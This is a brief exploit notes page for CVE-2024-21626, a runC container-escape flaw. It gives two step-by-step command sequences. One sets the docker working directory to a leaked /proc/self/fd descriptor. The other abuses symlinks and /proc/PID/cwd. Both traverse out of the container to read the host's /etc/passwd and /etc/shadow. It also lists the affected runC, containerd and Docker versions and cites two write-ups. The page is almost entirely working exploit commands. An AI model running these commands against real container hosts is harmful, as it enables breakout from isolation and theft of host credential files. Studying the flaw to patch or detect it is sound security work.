/CVE-2024-21626

CVE-2024-21626

Exploit (Working Directory)

docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

  • Important is to put -w /proc/self/fd/8\
  • Access the host filesystem using cat ../../../../../../../../../etc/passwd inside the container

Exploit (Symlink)

  1. docker run --name cve-2024-21626 --rm --it debian:bootworm
  2. Inside container - ln -sf /proc/self/fd/7/ /foo
  3. Inside container - ln -sf /proc/self/fd/8/ /bar
  4. docker exec -it -w /bar cve-2024-21626 sleep 120
  5. Inside container - ls -F /proc
  6. Inside container - cat /proc/9/cmdline (find PID of the sleep command)
  7. Inside container - cat /proc/9/cwd/../../../../../etc/shadow

Vulnerable versions

  • runC: >= 1.0.0-rc93 and <= 1.1.11.
  • containerd: >= 1.4.7 and <= 1.6.27, and >= 1.7.0 a <= 1.7.12.
  • Docker: fixed in 25.0.2

Source

https://nitroc.org/en/posts/cve-2024-21626-illustrated/#exploit-via-setting-working-directory-to-procselffdfd https://labs.withsecure.com/publications/runc-working-directory-breakout--cve-2024-21626